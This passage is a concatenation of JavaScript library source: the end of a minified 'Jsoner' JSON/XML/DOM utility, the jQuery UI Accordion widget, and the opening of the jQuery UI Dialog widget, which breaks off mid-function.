if(_70===Jsoner.JSON_NODE_START||_70===Jsoner.JSON_NODE_LEAF){
var _75="";
var _76="";
_69+="<"+_74;
if(COMMONS.isArray(_6f)){
for(var i=0;i<_6f.length;i++){
_73=_6f[i];
_72=_73.name;
_71=_6c.call(this,_73.value,_72,_6d,_70);
if(!COMMONS.isUndefined(_71)){
_72=_6b.call(this,_72,_71,_6d);
if(COMMONS.isDefined(_72)){
if(this.isText(_72)){
_76+=_71;
}else{
if(this.isCDATA(_72)){
_75+=_71;
}else{
_69+=" "+_72+"=\""+_71+"\"";
}
}
}
}
}
}
if(_75.length>0||_76.length>0){
_69+=">";
if(_5b){
_69+="\n"+_5f(_6d.length);
}
_69+=(_75.length>0)?"<![CDATA["+_75+_76+"]]>":_76;
if(_70===Jsoner.JSON_NODE_LEAF){
if(_5b){
_69+="\n"+_5f(_6d.length-1);
}
_69+="</"+_74+">";
}
}else{
_69+=(_70===Jsoner.JSON_NODE_LEAF)?"/>":">";
}
}else{
if(_70===Jsoner.JSON_NODE_END){
_69+="</"+_74+">";
}else{
if(_70===Jsoner.JSON_ATTRIBUTE||_70===Jsoner.JSON_NODE_CROSS_LINKED){
_71=_6c.call(this,_6e,_74,_6d,_70);
if(COMMONS.isDefined(_71)){
_69+="<"+_74+">"+_71+"</"+_74+">";
}
}
}
}
if(_5b){
_69+="\n";
}
}
return true;
});
return _69;
};
Jsoner.prototype.jsonPathEvaluator=function(_78,_79){
var _7a=true;
this.jsonTreeWalker(_78,function(_7b,_7c,_7d,_7e){
var _7f;
var _80;
if(_7e===Jsoner.JSON_NODE_START||_7e===Jsoner.JSON_NODE_LEAF||_7e===Jsoner.JSON_ATTRIBUTE||_7e===Jsoner.JSON_NODE_CROSS_LINKED){
var _81=_7b.join(".");
if(_7e===Jsoner.JSON_NODE_CROSS_LINKED){
var _82=_81.lastIndexOf(_7c);
_80=Jsoner.CROSS_LINK_PREFIX+(_82>0?_81.substring(0,_82+_7c.length):_7c);
_7a=_79.call(this,_81,_80,_7e);
}else{
if(COMMONS.isArray(_7d)){
for(var i=0;i<_7d.length;i++){
_7f=_7d[i];
_7a=_79.call(this,_81+"."+_7f.name,_7f.value,_7e);
if(!_7a){
break;
}
}
}else{
_7a=_79.call(this,_81,_7c,_7e);
}
}
}
return _7a;
});
};
Jsoner.prototype.jsonToPathValue=function(_84){
var _85="";
this.jsonPathEvaluator(_84,function(_86,_87,_88){
_85+=_86+" = "+_87+"\n";
return true;
});
return _85;
};
Jsoner.prototype.createNewInstance=function(_89){
var _8a=_89;
if(COMMONS.isObject(_89)){
var _8b=JSINER.getConstructor(_89);
_8a=new _8b();
}
return _8a;
};
Jsoner.prototype.clone=function(_8c){
var map=new HashMap();
var _8e=function(_8f){
var _90;
var _91;
var _92=this.getHashCode(_8f);
if(COMMONS.isUndefined(_92)){
_90=this.createNewInstance(_8f);
if(this.isResolveCrossLinks(_8f)){
_92=map.getSize();
this.addHashCode(_8f,_92);
map.put(_92,_90);
}
try{
for(var _93 in _8f){
_91=_8f[_93];
if(!this.isMute(_93,_91,_8f)){
if(!this.isAttribute(_93,_91)){
_92=this.getHashCode(_91);
if(COMMONS.isDefined(_92)){
_91=map.get(_92);
}else{
_91=_8e.call(this,_91);
}
}
_90[_93]=_91;
}
}
}
finally{
this.removeHashCode(_8f);
}
}else{
_90=map.get(_92);
}
return _90;
};
var _94=_8e.call(this,_8c,map);
map.clear();
return _94;
};
Jsoner.prototype.merge=function(_95,_96,_97){
var _98=this.clone(_95);
var _99=(COMMONS.isUndefined(_97)||_97);
var map=new HashMap();
if(COMMONS.isObject(_96)&&COMMONS.isObject(_95)){
this.jsonPathEvaluator(_96,function(_9b,_9c,_9d){
if(_9d!==Jsoner.JSON_NODE_CROSS_LINKED){
var _9e=COMMONS.isUndefined(this.getValue(_98,_9b));
if(!_9e){
var _9f=_9b.lastIndexOf(".");
if(_9f>0){
var _a0=_9b.substring(_9f+1);
_9e=this.isAttribute(_a0,_9c);
}
}
if(_9e){
if(COMMONS.isString(_9c)&&_9c.indexOf(Jsoner.CROSS_LINK_PREFIX)===0){
map.put(_9b,_9c.substring(Jsoner.CROSS_LINK_PREFIX.length));
}else{
this.populate(_98,_9b,_9c,_99);
}
}
}else{
map.put(_9b,_9c.substring(Jsoner.CROSS_LINK_PREFIX.length));
}
return true;
});
if(!map.isEmpty()){
var _a1;
for(var _a2 in map.fObject){
if(map.fObject.hasOwnProperty(_a2)){
_a1=this.getValue(_98,map.get(_a2));
this.populate(_98,_a2,_a1,_99);
}
}
}
}
return _98;
};
Jsoner.prototype.isEquals=function(_a3,_a4){
var _a5=function(_a6,_a7){
var _a8=true;
var _a9=new HashMap();
var _aa=new KeySet();
this.jsonPathEvaluator(_a6,function(_ab,_ac,_ad){
if(_ad!==Jsoner.JSON_NODE_CROSS_LINKED){
if(!this.isEquals(_ac,this.getValue(_a7,_ab))){
this.fLogger.info("isEquals, difference found:"+_ab);
_a8=false;
}else{
_aa.add(_ab);
}
}else{
_a9.put(_ab,_ac);
}
return _a8;
});
if(_a8){
this.jsonPathEvaluator(_a7,function(_ae,_af,_b0){
if(!_aa.isContains(_ae)){
if(_b0!==Jsoner.JSON_NODE_CROSS_LINKED){
if(!this.isEquals(_af,this.getValue(_a6,_ae))){
this.fLogger.info("isEquals, difference found:"+_ae);
_a8=false;
}
}else{
if(!this.isEquals(_af,_a9.get(_ae))){
this.fLogger.info("isEquals, cross link not equal:"+_ae);
_a8=false;
}else{
_a9.remove(_ae);
}
}
}
return _a8;
});
}
return _a8&&_a9.isEmpty();
};
var _b1=JSINER.getType(_a3)===JSINER.getType(_a4);
if(_b1){
if(COMMONS.isObject(_a3)){
if(COMMONS.isArray(_a3)){
_b1=(_a3.length===_a4.length);
}
if(_b1){
_b1=_a5.call(this,_a3,_a4);
}
}else{
_b1=(_a3===_a4);
}
}
return _b1;
};
Jsoner.prototype.getDifference=function(_b2,_b3){
var _b4=function(_b5){
var _b6=_b5;
var _b7=_b5.lastIndexOf("]");
if(_b7>0&&_b7<_b5.length-1){
var _b8=_b5.lastIndexOf("[");
_b6={path:_b5.substring(0,_b8),index:COMMONS.toInteger(_b5.substring(_b8+1,_b7)),property:_b5.substring(_b7+2)};
}
return _b6;
};
var _b9=function(_ba,_bb,_bc){
var _bd=new HashMap();
var _be=new KeySet();
this.jsonPathEvaluator(_ba,function(_bf,_c0,_c1){
if(_c1!==Jsoner.JSON_NODE_CROSS_LINKED){
_be.add(_bf);
if(!this.isEquals(_c0,this.getValue(_bb,_bf))){
this.setValue(_bc,_bf,_c0);
}
}else{
_bd.put(_bf,_c0);
}
return true;
});
this.jsonPathEvaluator(_bb,function(_c2,_c3,_c4){
if(!_be.isContains(_c2)){
if(_c4!==Jsoner.JSON_NODE_CROSS_LINKED){
var _c5=this.getValue(_ba,_c2);
if(!this.isEquals(_c3,_c5)){
var obj=_b4(_c2);
if(!COMMONS.isString(obj)){
var _c7;
for(var i=0;i<obj.index;i++){
_c7=obj.path+"["+i+"]."+obj.property;
this.setValue(_bc,_c7,this.getValue(_ba,_c7));
}
}
this.setValue(_bc,_c2,_c5);
}
}else{
if(this.isEquals(_c3,_bd.get(_c2))){
_bd.remove(_c2);
}
}
}
return true;
});
if(!_bd.isEmpty()){
for(var _c9 in _bd.fObject){
if(_bd.fObject.hasOwnProperty(_c9)){
this.setValue(_bc,_c9,_bd.fObject[_c9]);
}
}
}
};
var _ca=_b2;
if(COMMONS.isObject(_b2)&&COMMONS.isObject(_b3)){
_ca=this.createNewInstance(_b2);
_b9.call(this,_b2,_b3,_ca);
}
return _ca;
};
Jsoner.prototype.jsonToMap=function(_cb,_cc,_cd){
var _ce={};
if(COMMONS.isArray(_cb)){
var key;
for(var i=0;i<_cb.length;i++){
key=this.getValue(_cb[i],_cc);
if(COMMONS.isDefined(key)){
_ce[key]=this.getValue(_cb[i],_cd);
}
}
}else{
this.fLogger.error("jsonToMap, unsupported data type, array required: "+_cb);
}
return _ce;
};
Jsoner.prototype.visit=function(_d1,_d2,_d3){
this.jsonTreeWalker(_d1,function(_d4,_d5,_d6,_d7){
var _d8=true;
if(_d7===Jsoner.JSON_NODE_START||_d7===Jsoner.JSON_NODE_LEAF||_d7===Jsoner.JSON_ATTRIBUTE){
if(_d2.call(this,_d4,_d5,_d6)){
_d8=_d3.call(this,_d4,_d5,_d6);
}
}
return _d8;
});
};
Jsoner.prototype.defaultAcceptor=function(_d9,_da,_db,_dc){
var _dd=true;
if(COMMONS.isDefined(_db)){
var _de=_d9.join(".");
_dd=this.isMatch(_db,_de);
}
if(_dd&&COMMONS.isDefined(_dc)){
var _df;
var _e0;
for(var _e1 in _dc){
_df=this.getValue(_da,_e1);
_e0=_dc[_e1];
if(COMMONS.isRegExp(_e0)){
_dd=_e0.test(""+_df);
}else{
_dd=(_e0===_df);
}
if(!_dd){
break;
}
}
}
return _dd;
};
Jsoner.prototype.lookupAll=function(_e2,_e3,_e4){
var _e5=[];
this.visit(_e2,function(_e6,_e7,_e8){
return this.defaultAcceptor.call(this,_e6,_e7,_e3,_e4);
},function(_e9,_ea){
_e5.push(_ea);
return true;
});
return _e5;
};
Jsoner.prototype.lookupFirst=function(_eb,_ec,_ed){
var _ee=null;
this.visit(_eb,function(_ef,_f0,_f1){
return this.defaultAcceptor(_ef,_f0,_ec,_ed);
},function(_f2,_f3){
_ee=_f3;
return false;
});
return _ee;
};
Jsoner.prototype.isContains=function(_f4,_f5,_f6){
var _f7=this.lookupFirst(_f4,_f5,_f6);
return (_f7!==null);
};
Jsoner.prototype.getCount=function(_f8,_f9,_fa){
var _fb=0;
this.visit(_f8,function(_fc,_fd,_fe){
return this.defaultAcceptor(_fc,_fd,_f9,_fa);
},function(_ff,_100){
_fb++;
return true;
});
return _fb;
};
Jsoner.prototype.getAttributes=function(_101,_102){
var _103=this.getValue(_101,_102);
var _104=this.collectAttributes(_102,_103,_101);
return _104;
};
Jsoner.prototype.getChildren=function(_105,_106){
var _107=[];
var obj=this.getValue(_105,_106);
if(COMMONS.isDefined(obj)){
_107=this.collectChildren(_106,obj,_105);
}
return _107;
};
Jsoner.prototype.isLeaf=function(_109,_10a){
var _10b=this.getChildren(_109,_10a);
return _10b.length===0;
};
Jsoner.prototype.getFirstChild=function(_10c,_10d){
var _10e=this.getChildren(_10c,_10d);
var _10f=_10e.length>0?_10e[0]:undefined;
return _10f;
};
Jsoner.prototype.getLastChild=function(_110,_111){
var _112=this.getChildren(_110,_111);
var _113=_112.length>0?_112[_112.length-1]:undefined;
return _113;
};
Jsoner.prototype.addChild=function(_114,_115,_116,_117){
function parsePath(_118){
var _119=_118;
if(_118.charAt(_118.length-1)==="]"){
var _11a=_118.lastIndexOf("[");
_119={path:_118.substring(0,_11a),index:_118.substring(_11a+1,_118.length-1)};
}
return _119;
}
var obj=this.getValue(_114,_115);
if(COMMONS.isUndefined(_117)){
if(COMMONS.isUndefined(obj)){
this.setValue(_114,_115,_116);
}else{
if(!COMMONS.isArray(obj)){
obj=[obj];
this.setValue(_114,_115,obj);
}
obj.push(_116);
}
}else{
if(COMMONS.isUndefined(obj)){
obj=[];
this.setValue(_114,_115,obj);
}else{
if(!COMMONS.isArray(obj)){
obj=[obj];
this.setValue(_114,_115,obj);
}
if(_117<obj.length){
for(var i=obj.length-1;i>=_117;i--){
obj[i+1]=obj[i];
}
}
obj[_117]=_116;
}
}
return _114;
};
Jsoner.prototype.removeChildren=function(_11d,_11e){
var obj=this.getValue(_11d,_11e);
if(!COMMONS.isUndefined(obj)){
this.setValue(_11d,_11e,undefined);
delete _11d[_11e];
}
return _11d;
};
Jsoner.prototype.removeChild=function(_120,_121,_122){
var obj=this.getValue(_120,_121);
if(!COMMONS.isUndefined(obj)){
if(COMMONS.isArray(obj)){
var _124=-1;
for(var i=0;i<obj.length;i++){
var _126=obj[i];
if(_126===_122){
_124=i;
break;
}
}
if(_124!==-1){
for(var i=_124;i<obj.length-1;i++){
obj[i]=obj[i+1];
}
obj.length=obj.length-1;
}
}else{
if(this.isEquals(obj,_122)){
this.setValue(_120,_121,undefined);
delete _120[_121];
}
}
}
return _120;
};
Jsoner.prototype.htmlFormEvaluator=function(_127,_128){
if(COMMONS.isDefined(_127)){
for(var i=0;i<_127.elements.length;i++){
var _12a=_127.elements[i];
if(_12a.name){
_128.call(this,_12a.name,_12a);
}
}
}
};
Jsoner.prototype.setFieldValue=function(_12b,_12c){
if(COMMONS.isObject(_12b)){
if(typeof (_12b)==="select"){
for(var i=0;i<_12b.options.length;i++){
var _12e=_12b.options[i];
if(_12e.value===_12c){
_12b.selectedIndex=i;
_12e.selected=true;
}else{
_12e.removeAttribute("selected");
}
}
}else{
if(_12b.type==="checkbox"||_12b.type==="radio"){
_12b.checked=(_12b.value===(""+_12c));
}else{
_12b.value=COMMONS.isDefined(_12c)?_12c:"";
}
}
}
};
Jsoner.prototype.getFieldValue=function(_12f){
var _130=undefined;
if(COMMONS.isObject(_12f)){
if(typeof (_12f)==="select"){
_130=_12f.options[_12f.selectedIndex].value;
}else{
if(_12f.type==="checkbox"){
_130=_12f.checked?_12f.value:false;
}else{
if(_12f.type==="radio"){
if(_12f.checked){
_130=_12f.value;
}
}else{
_130=_12f.value;
}
}
}
}
return _130;
};
Jsoner.prototype.populateJsonToForm=function(_131,_132,_133){
if(COMMONS.isDefined(_132)&&COMMONS.isDefined(_131)){
var _134=this.converterFactory(_133);
this.htmlFormEvaluator(_132,function(_135,_136){
var path=_134.call(this,_135,_136);
if(COMMONS.isString(path)){
var _138=this.getValue(_131,path);
if(this.getFieldValue(_136)!==_138){
this.setFieldValue(_136,_138?_138:"");
if(COMMONS.isFunction(_136.onchange)){
_136.onchange.call(_136);
}else{
if(COMMONS.isFunction(_136.onclick)){
_136.onclick.call(_136);
}
}
}
}
});
}
};
Jsoner.prototype.defaultHtmlConverter=function(_139,_13a){
var _13b=_139;
if(COMMONS.toBoolean(_13a.readOnly)||COMMONS.toBoolean(_13a.disabled)){
_13b=null;
}
return _13b;
};
Jsoner.prototype.populateFormToJson=function(_13c,_13d,_13e){
var _13f=_13d;
var _140=new KeySet();
if(COMMONS.isObject(_13c)){
var _141=this.converterFactory(_13e||this.defaultHtmlConverter);
this.htmlFormEvaluator(_13c,function(_142,_143){
var path=_141.call(this,_142,_143);
if(COMMONS.isString(path)){
var _145=this.getFieldValue(_143);
if(COMMONS.isDefined(_145)){
var _146=this.getValue(_13f,path);
if(COMMONS.isNumber(_146)){
_145=COMMONS.toFloat(_145);
}else{
if(COMMONS.isBoolean(_146)){
_145=COMMONS.toBoolean(_145);
}
}
this.populate(_13f,path,_145,true);
}
}
});
}
return _13f;
};
Jsoner.prototype.PATTERN_CDATA_KEY="CDATA";
Jsoner.prototype.PATTERN_DEFAULT_KEY="default";
Jsoner.prototype.selectPatternResolver=function(_147,_148,_149){
var _14a=this.getValue(_147,_148);
if(COMMONS.isUndefined(_14a)){
var _14b=_148.lastIndexOf(".");
if(_14b>0){
_148=_148.substring(_14b+1);
}
if(this.isText(_148)||this.isCDATA(_148)){
_14a=this.getValue(_147,this.PATTERN_CDATA_KEY);
}
if(COMMONS.isUndefined(_14a)){
var type=typeof (_149);
_14a=this.getValue(_147,type);
if(COMMONS.isUndefined(_14a)){
_14a=this.getValue(_147,this.PATTERN_DEFAULT_KEY);
}
}
}
return this.clone(_14a);
};
Jsoner.prototype.cascadePatternResolver=function(_14d,_14e,_14f){
var _150=this.merge(this.getValue(_14d,this.PATTERN_DEFAULT_KEY),this.getValue(_14d,typeof (_14f)),true);
var _151=_14e.lastIndexOf(".");
if(_151>0){
var name=_14e.substring(_151+1);
if(this.isText(name)||this.isCDATA(name)){
_150=this.merge(_150,this.getValue(_14d,this.PATTERN_CDATA_KEY),true);
}
}
var key=[];
var path=_14e.split(".");
for(var i=0;i<path.length;i++){
key.push(path[i]);
_150=this.merge(_150,this.getValue(_14d,key.join(".")),true);
}
return _150;
};
Jsoner.prototype.jsonToHTML=function(_156,_157,_158,_159,_15a){
var _15b=_158||this.cascadePatternResolver;
var _15c=_15a||this.jsonToDOM;
var _15d=COMMONS.isFunction(_159)?_159:function(){
return _159;
};
this.jsonPathEvaluator(_156,function(_15e,_15f){
var _160=_15b.call(this,_157,_15e,_15f);
if(COMMONS.isDefined(_160)){
var _161=_15d.call(this,_15e,_15f);
if(COMMONS.isObject(_161)){
var node=_15c.call(this,_160,_161.ownerDocument||document,_15e,_15f);
if(COMMONS.isObject(node)){
if(COMMONS.isArray(node)){
for(var i=0;i<node.length;i++){
_161.appendChild(node[i]);
}
}else{
_161.appendChild(node);
}
}
}
}
return true;
});
};
Jsoner.prototype.jsonToDOM=function(_164,_165,_166,_167){
var _168=null;
var _169=null;
var _16a=0;
var _16b=this.converterFactory(_166);
var _16c=this.converterFactory(_167);
this.jsonTreeWalker(_164,function(_16d,_16e,_16f,_170,_171){
var _172=null;
if(_170===Jsoner.JSON_NODE_START||_170===Jsoner.JSON_NODE_LEAF||_170===Jsoner.JSON_ATTRIBUTE){
var _173=_16b.call(this,this.getLastProperty(_16d),_16e);
if(COMMONS.isString(_173)){
_172=_165.createElement(_173);
if(_170===Jsoner.JSON_ATTRIBUTE){
_172.appendChild(_165.createTextNode(_16e));
}
if(COMMONS.isArray(_16f)){
for(var i=0;i<_16f.length;i++){
var _175=_16f[i];
var name=_16c.call(this,_175.name,_175.value,_16d);
if(COMMONS.isDefined(name)){
var _177=_175.value;
if(this.isText(name)||this.isCDATA(name)){
_172.appendChild(_165.createTextNode(_177));
}else{
if(name==="class"){
_172.className=_177;
}else{
if(COMMONS.isIE&&(name.indexOf("on")===0)){
_172.attachEvent(name,new Function("",_177));
}else{
if(COMMONS.isIE&&name==="style"){
_172.style.cssText=_177;
}else{
_172.setAttribute(name,_177);
}
}
}
}
}
}
}
if(_171===0){
_168=_168?[_168]:_172;
if(COMMONS.isArray(_168)){
_168.push(_172);
}
}else{
while(_16a>=_171){
_169=_169.parentNode;
_16a--;
}
if((_16d==="tr"||_16d==="TR")&&_169.nodeName==="TABLE"){
var _178=_165.createElement("tbody");
_169.appendChild(_178);
_169=_178;
}
_169.appendChild(_172);
}
_169=_172;
_16a=_171;
}
}
return true;
});
return _168;
};
|
JavaScript
|
/*
* jQuery UI Accordion @VERSION
*
* Copyright (c) 2007, 2008 Jörn Zaefferer
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http://docs.jquery.com/UI/Accordion
*
* Depends:
* ui.core.js
*/
(function($) {
$.widget("ui.accordion", {
_init: function() {
var options = this.options;
if ( options.navigation ) {
var current = this.element.find("a").filter(options.navigationFilter);
if ( current.length ) {
if ( current.filter(options.header).length ) {
options.active = current;
} else {
options.active = current.parent().parent().prev();
current.addClass("current");
}
}
}
// calculate active if not specified, using the first header
options.headers = this.element.find(options.header);
options.active = findActive(options.headers, options.active);
// IE7-/Win - Extra vertical space in Lists fixed
if ($.browser.msie) {
this.element.find('a').css('zoom', '1');
}
if (!this.element.hasClass("ui-accordion")) {
this.element.addClass("ui-accordion");
$('<span class="ui-accordion-left"/>').insertBefore(options.headers);
$('<span class="ui-accordion-right"/>').appendTo(options.headers);
options.headers.addClass("ui-accordion-header").attr("tabindex", "0");
}
var maxHeight;
if ( options.fillSpace ) {
maxHeight = this.element.parent().height();
options.headers.each(function() {
maxHeight -= $(this).outerHeight();
});
var maxPadding = 0;
options.headers.next().each(function() {
maxPadding = Math.max(maxPadding, $(this).innerHeight() - $(this).height());
}).height(maxHeight - maxPadding);
} else if ( options.autoHeight ) {
maxHeight = 0;
options.headers.next().each(function() {
maxHeight = Math.max(maxHeight, $(this).outerHeight());
}).height(maxHeight);
}
options.headers
.not(options.active || "")
.next()
.hide();
options.active.parent().andSelf().addClass(options.selectedClass);
if (options.event) {
this.element.bind((options.event) + ".accordion", clickHandler);
}
},
activate: function(index) {
// call clickHandler with custom event
clickHandler.call(this.element[0], {
target: findActive( this.options.headers, index )[0]
});
},
destroy: function() {
this.options.headers.parent().andSelf().removeClass(this.options.selectedClass);
this.options.headers.prev(".ui-accordion-left").remove();
this.options.headers.children(".ui-accordion-right").remove();
this.options.headers.next().css("display", "");
if ( this.options.fillSpace || this.options.autoHeight ) {
this.options.headers.next().css("height", "");
}
$.removeData(this.element[0], "accordion");
this.element.removeClass("ui-accordion").unbind(".accordion");
}
});
function scopeCallback(callback, scope) {
return function() {
return callback.apply(scope, arguments);
};
};
function completed(cancel) {
// if removed while animated data can be empty
if (!$.data(this, "accordion")) {
return;
}
var instance = $.data(this, "accordion");
var options = instance.options;
options.running = cancel ? 0 : --options.running;
if ( options.running ) {
return;
}
if ( options.clearStyle ) {
options.toShow.add(options.toHide).css({
height: "",
overflow: ""
});
}
instance._trigger('change', null, options.data);
}
function toggle(toShow, toHide, data, clickedActive, down) {
var options = $.data(this, "accordion").options;
options.toShow = toShow;
options.toHide = toHide;
options.data = data;
var complete = scopeCallback(completed, this);
$.data(this, "accordion")._trigger("changestart", null, options.data);
// count elements to animate
options.running = toHide.size() === 0 ? toShow.size() : toHide.size();
if ( options.animated ) {
var animOptions = {};
if ( !options.alwaysOpen && clickedActive ) {
animOptions = {
toShow: jQuery([]),
toHide: toHide,
complete: complete,
down: down,
autoHeight: options.autoHeight
};
} else {
animOptions = {
toShow: toShow,
toHide: toHide,
complete: complete,
down: down,
autoHeight: options.autoHeight
};
}
if (!options.proxied) {
options.proxied = options.animated;
}
if (!options.proxiedDuration) {
options.proxiedDuration = options.duration;
}
options.animated = $.isFunction(options.proxied) ?
options.proxied(animOptions) : options.proxied;
options.duration = $.isFunction(options.proxiedDuration) ?
options.proxiedDuration(animOptions) : options.proxiedDuration;
var animations = $.ui.accordion.animations,
duration = options.duration,
easing = options.animated;
if (!animations[easing]) {
animations[easing] = function(options) {
this.slide(options, {
easing: easing,
duration: duration || 700
});
};
}
animations[easing](animOptions);
} else {
if ( !options.alwaysOpen && clickedActive ) {
toShow.toggle();
} else {
toHide.hide();
toShow.show();
}
complete(true);
}
}
function clickHandler(event) {
var options = $.data(this, "accordion").options;
if (options.disabled) {
return false;
}
// called only when using activate(false) to close all parts programmatically
if ( !event.target && !options.alwaysOpen ) {
options.active.parent().andSelf().toggleClass(options.selectedClass);
var toHide = options.active.next(),
data = {
options: options,
newHeader: jQuery([]),
oldHeader: options.active,
newContent: jQuery([]),
oldContent: toHide
},
toShow = (options.active = $([]));
toggle.call(this, toShow, toHide, data );
return false;
}
// get the click target
var clicked = $(event.target);
// due to the event delegation model, we have to check if one
// of the parent elements is our actual header, and find that
// otherwise stick with the initial target
clicked = $( clicked.parents(options.header)[0] || clicked );
var clickedActive = clicked[0] == options.active[0];
// if animations are still active, or the active header is the target, ignore click
if (options.running || (options.alwaysOpen && clickedActive)) {
return false;
}
if (!clicked.is(options.header)) {
return;
}
// switch classes
options.active.parent().andSelf().toggleClass(options.selectedClass);
if ( !clickedActive ) {
clicked.parent().andSelf().addClass(options.selectedClass);
}
// find elements to show and hide
var toShow = clicked.next(),
toHide = options.active.next(),
data = {
options: options,
newHeader: clickedActive && !options.alwaysOpen ? $([]) : clicked,
oldHeader: options.active,
newContent: clickedActive && !options.alwaysOpen ? $([]) : toShow,
oldContent: toHide
},
down = options.headers.index( options.active[0] ) > options.headers.index( clicked[0] );
options.active = clickedActive ? $([]) : clicked;
toggle.call(this, toShow, toHide, data, clickedActive, down );
return false;
};
function findActive(headers, selector) {
return selector
? typeof selector == "number"
? headers.filter(":eq(" + selector + ")")
: headers.not(headers.not(selector))
: selector === false
? $([])
: headers.filter(":eq(0)");
}
$.extend($.ui.accordion, {
version: "@VERSION",
defaults: {
selectedClass: "selected",
alwaysOpen: true,
animated: 'slide',
event: "click",
header: "a",
autoHeight: true,
running: 0,
navigationFilter: function() {
return this.href.toLowerCase() == location.href.toLowerCase();
}
},
animations: {
slide: function(options, additions) {
options = $.extend({
easing: "swing",
duration: 300
}, options, additions);
if ( !options.toHide.size() ) {
options.toShow.animate({height: "show"}, options);
return;
}
var hideHeight = options.toHide.height(),
showHeight = options.toShow.height(),
difference = showHeight / hideHeight,
padding = options.toShow.outerHeight() - options.toShow.height(),
margin = options.toShow.css('marginBottom'),
overflow = options.toShow.css('overflow')
tmargin = options.toShow.css('marginTop');
options.toShow.css({ height: 0, overflow: 'hidden', marginTop: 0, marginBottom: -padding }).show();
options.toHide.filter(":hidden").each(options.complete).end().filter(":visible").animate({height:"hide"},{
step: function(now) {
var current = (hideHeight - now) * difference;
if ($.browser.msie || $.browser.opera) {
current = Math.ceil(current);
}
options.toShow.height( current );
},
duration: options.duration,
easing: options.easing,
complete: function() {
if ( !options.autoHeight ) {
options.toShow.css("height", "auto");
}
options.toShow.css({marginTop: tmargin, marginBottom: margin, overflow: overflow});
options.complete();
}
});
},
bounceslide: function(options) {
this.slide(options, {
easing: options.down ? "easeOutBounce" : "swing",
duration: options.down ? 1000 : 200
});
},
easeslide: function(options) {
this.slide(options, {
easing: "easeinout",
duration: 700
});
}
}
});
})(jQuery);
|
JavaScript
|
/*
* jQuery UI Dialog @VERSION
*
* Copyright (c) 2008 Richard D. Worth (rdworth.org)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http://docs.jquery.com/UI/Dialog
*
* Depends:
* ui.core.js
* ui.draggable.js
* ui.resizable.js
*/
(function($) {
var setDataSwitch = {
dragStart: "start.draggable",
drag: "drag.draggable",
dragStop: "stop.draggable",
maxHeight: "maxHeight.resizable",
minHeight: "minHeight.resizable",
maxWidth: "maxWidth.resizable",
minWidth: "minWidth.resizable",
resizeStart: "start.resizable",
resize: "drag.resizable",
resizeStop: "stop.resizable"
};
$.widget("ui.dialog", {
_init: function() {
this.originalTitle = this.element.attr('title');
this.options.title = this.options.title || this.originalTitle;
var self = this,
options = this.options,
uiDialogContent = this.element
.removeAttr('title')
.addClass('ui-dialog-content')
.wrap('<div/>')
.wrap('<div/>'),
uiDialogContainer = (this.uiDialogContainer = uiDialogContent.parent())
.addClass('ui-dialog-container')
.css({
position: 'relative',
width: '100%',
height: '100%'
}),
uiDialogTitlebar = (this.uiDialogTitlebar = $('<div/>'))
.addClass('ui-dialog-titlebar')
.append('<a href="#" class="ui-dialog-titlebar-close"><span>X</span></a>')
.prependTo(uiDialogContainer),
title = options.title || ' ',
titleId = $.ui.dialog.getTitleId(this.element),
uiDialogTitle = $('<span/>')
.addClass('ui-dialog-title')
.attr('id', titleId)
.html(title)
.prependTo(uiDialogTitlebar),
uiDialog = (this.uiDialog = uiDialogContainer.parent())
.appendTo(document.body)
.hide()
.addClass('ui-dialog')
.addClass(options.dialogClass)
.css({
position: 'absolute',
width: options.width,
height: options.height,
overflow: 'hidden',
zIndex: options.zIndex
})
// setting tabIndex makes the div focusable
// setting outline to 0 prevents a border on focus in Mozilla
.attr('tabIndex', -1).css('outline', 0).keydown(function(ev) {
(options.closeOnEscape && ev.keyCode
&& ev.keyCode == $.keyCode.ESCAPE && self.close());
})
.ariaRole("dialog")
.ariaState("labelledby", titleId)
.mousedown(function() {
self.moveToTop();
}),
uiDialogButtonPane = (this.uiDialogButtonPane = $('<div/>'))
.addClass('ui-dialog-buttonpane')
.css({
position: 'absolute',
bottom: 0
})
.appendTo(uiDialog);
this.uiDialogTitlebarClose = $('.ui-dialog-titlebar-close', uiDialogTitlebar)
.hover(
function() {
$(this).addClass('ui-dialog-titlebar-close-hover');
},
function() {
$(this).removeClass('ui-dialog-titlebar-close-hover');
}
)
.mousedown(function(ev) {
ev.stopPropagation();
})
.click(function() {
self.close();
return false;
});
uiDialogTitlebar.find("*").add(uiDialogTitlebar).each(function() {
$.ui.disableSelection(this);
});
(options.draggable && $.fn.draggable && this._makeDraggable());
(options.resizable && $.fn.resizable && this._makeResizable());
this._createButtons(options.buttons);
this._isOpen = false;
(options.bgiframe && $.fn.bgiframe && uiDialog.bgiframe());
(options.autoOpen && this.open());
},
destroy: function() {
(this.overlay && this.overlay.destroy());
this.uiDialog.hide();
this.element
.unbind('.dialog')
.removeData('dialog')
.removeClass('ui-dialog-content')
.hide().appendTo('body');
this.uiDialog.remove();
(this.originalTitle && this.element.attr('title', this.originalTitle));
},
close: function() {
if (false === this._trigger('beforeclose', null, { options: this.options })) {
return;
}
(this.overlay && this.overlay.destroy());
this.uiDialog
.hide(this.options.hide)
.unbind('keypress.ui-dialog');
this._trigger('close', null, { options: this.options });
$.ui.dialog.overlay.resize();
this._isOpen = false;
},
isOpen: function() {
return this._isOpen;
},
// the force parameter allows us to move modal dialogs to their correct
// position on open
moveToTop: function(force) {
if ((this.options.modal && !force)
|| (!this.options.stack && !this.options.modal)) {
return this._trigger('focus', null, { options: this.options });
}
var maxZ = this.options.zIndex, options = this.options;
$('.ui-dialog:visible').each(function() {
maxZ = Math.max(maxZ, parseInt($(this).css('z-index'), 10) || options.zIndex);
});
(this.overlay && this.overlay.$el.css('z-index', ++maxZ));
this.uiDialog.css('z-index', ++maxZ);
this._trigger('focus', null, { options: this.options });
},
open: function() {
if (this._isOpen) { return; }
this.overlay = this.options.modal ? new $.ui.dialog.overlay(this) : null;
(this.uiDialog.next().length && this.uiDialog.appendTo('body'));
this._position(this.options.position);
this.uiDialog.show(this.options.show);
(this.options.autoResize && this._size());
this.moveToTop(true);
// prevent tabbing out of modal dialogs
(this.options.modal && this.uiDialog.bind('keypress.ui-dialog', function(e) {
if (e.keyCode != $.keyCode.TAB) {
return;
}
var tabbables = $(':tabbable', this),
first = tabbables.filter(':first')[0],
last = tabbables.filter(':last')[0];
if (e.target == last && !e.shiftKey) {
setTimeout(function() {
first.focus();
}, 1);
} else if (e.target == first && e.shiftKey) {
